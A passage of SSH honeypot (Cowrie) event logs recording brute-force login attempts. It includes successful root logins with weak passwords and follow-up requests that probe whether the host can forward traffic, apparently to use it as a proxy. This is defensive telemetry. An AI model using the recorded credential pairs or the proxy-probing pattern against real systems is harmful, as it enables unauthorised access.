57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:44:51.941491Z","src_ip":"5.75.240.121","session":"f366e922b26f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vlx","password":"vlx2018","message":"login attempt [vlx/vlx2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:44:52.132181Z","src_ip":"5.75.240.121","session":"f366e922b26f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:44:53.228749Z","src_ip":"5.75.240.121","session":"f366e922b26f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":43632,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c14d75a325a","protocol":"ssh","message":"New connection: 2.57.122.238:43632 (10.17.0.5:22) [session: 3c14d75a325a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:44:58.063194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:44:58.068238Z","src_ip":"2.57.122.238","session":"3c14d75a325a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:44:58.167898Z","src_ip":"2.57.122.238","session":"3c14d75a325a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:44:58.468229Z","src_ip":"2.57.122.238","session":"3c14d75a325a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:44:59.568797Z","src_ip":"2.57.122.238","session":"3c14d75a325a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.116","src_port":49454,"dst_ip":"159.203.135.109","dst_port":22,"session":"5376b741a078","protocol":"ssh","message":"New connection: 80.94.95.116:49454 (159.203.135.109:22) [session: 5376b741a078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:45:24.570875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:45:25.023197Z","src_ip":"80.94.95.116","session":"5376b741a078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:45:26.524044Z","src_ip":"80.94.95.116","session":"5376b741a078","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:45:30.594557Z","src_ip":"80.94.95.116","session":"5376b741a078","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.217.17.78","dst_port":443,"src_ip":"80.94.95.116","src_port":0,"message":"direct-tcp connection request to 172.217.17.78:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:45:30.897133Z","session":"5376b741a078","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.217.17.78","dst_port":443,"data":"b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 172.217.17.78:443 with data b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:45:31.487375Z","src_ip":"80.94.95.116","session":"5376b741a078","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"80.94.95.116","src_port":0,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:45:32.133178Z","session":"5376b741a078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:45:32.330084Z","src_ip":"80.94.95.116","session":"5376b741a078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":44244,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd248486a615","protocol":"ssh","message":"New connection: 80.94.95.118:44244 (10.17.0.5:22) [session: fd248486a615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:27.088431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:27.092934Z","src_ip":"80.94.95.118","session":"fd248486a615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:27.196606Z","src_ip":"80.94.95.118","session":"fd248486a615","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Admin123","message":"login attempt [root/Admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:27.708752Z","src_ip":"80.94.95.118","session":"fd248486a615","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.253.23.170","dst_port":443,"src_ip":"80.94.95.118","src_port":51860,"message":"direct-tcp connection request to 34.253.23.170:443 from 127.0.0.1:51860","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:29.554035Z","session":"fd248486a615","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.253.23.170","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.253.23.170:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:29.692525Z","src_ip":"80.94.95.118","session":"fd248486a615","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.253.23.170","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdc]\\xa4\\x97\\xe9\\x00lr2\\xc9{\\x9d+\\xb6\\xa9P\\xe0,} \\x1bh\\xc1\\x91\\xa3\\x88\\xcfF\\xfb\\xf5_\\xc8 \\xb4J=\\xaf^\\x15\\xee~\\x87\\xd0\\xceq{\\xb1\\xb0'\\xb5Wo\\xf4SSp\\x03\\xae\\xae\\x9b{\\xe2\\xb7\\x1a\\xf1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xce\\x9d\\xee\\xae\\x0f\\xb6\\x8e\\xefs\\xf9\\x8b&\\xbd\\xad\\x8a#Q)\\x16\\x80N\\x12\\x14Gm\\xf0)\\xc8|\\xa6\\x82\\x1b\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.253.23.170:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdc]\\xa4\\x97\\xe9\\x00lr2\\xc9{\\x9d+\\xb6\\xa9P\\xe0,} \\x1bh\\xc1\\x91\\xa3\\x88\\xcfF\\xfb\\xf5_\\xc8 \\xb4J=\\xaf^\\x15\\xee~\\x87\\xd0\\xceq{\\xb1\\xb0'\\xb5Wo\\xf4SSp\\x03\\xae\\xae\\x9b{\\xe2\\xb7\\x1a\\xf1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xce\\x9d\\xee\\xae\\x0f\\xb6\\x8e\\xefs\\xf9\\x8b&\\xbd\\xad\\x8a#Q)\\x16\\x80N\\x12\\x14Gm\\xf0)\\xc8|\\xa6\\x82\\x1b\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:29.695812Z","src_ip":"80.94.95.118","session":"fd248486a615","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"72.246.31.221","dst_port":443,"src_ip":"80.94.95.118","src_port":52386,"message":"direct-tcp connection request to 72.246.31.221:443 from 127.0.0.1:52386","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:32.242377Z","session":"fd248486a615","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"72.246.31.221","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 72.246.31.221:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:33.804568Z","src_ip":"80.94.95.118","session":"fd248486a615","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"72.246.31.221","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03>_\\x9bxO\\x9f\\xdb\\x83Gj\\xd9\\x12\\xcb\\x9d\\xe95 R\\xc3\\xc9`k\\xdb}k\\x1b\\xe1PU\\x05\\xbf\\x19 kC&\\r\\xdc>2Z'\\x11\\x8f:\\xbd\\xf2\\xe9T\\xe0\\xdb\\xda\\x05\\xd3\\x82\\xa5\\xb9E;\\x9dA?|\\xe2T\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 !\\xb5Y{\\x1b3\\x95Cc\\xf6\\x96\\xde\\x088\\x840-9\\xeb\\xe1\\xdd\\xa3oTK\\xe4t\\x81 |\\xd0t\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 72.246.31.221:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03>_\\x9bxO\\x9f\\xdb\\x83Gj\\xd9\\x12\\xcb\\x9d\\xe95 R\\xc3\\xc9`k\\xdb}k\\x1b\\xe1PU\\x05\\xbf\\x19 kC&\\r\\xdc>2Z'\\x11\\x8f:\\xbd\\xf2\\xe9T\\xe0\\xdb\\xda\\x05\\xd3\\x82\\xa5\\xb9E;\\x9dA?|\\xe2T\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 !\\xb5Y{\\x1b3\\x95Cc\\xf6\\x96\\xde\\x088\\x840-9\\xeb\\xe1\\xdd\\xa3oTK\\xe4t\\x81 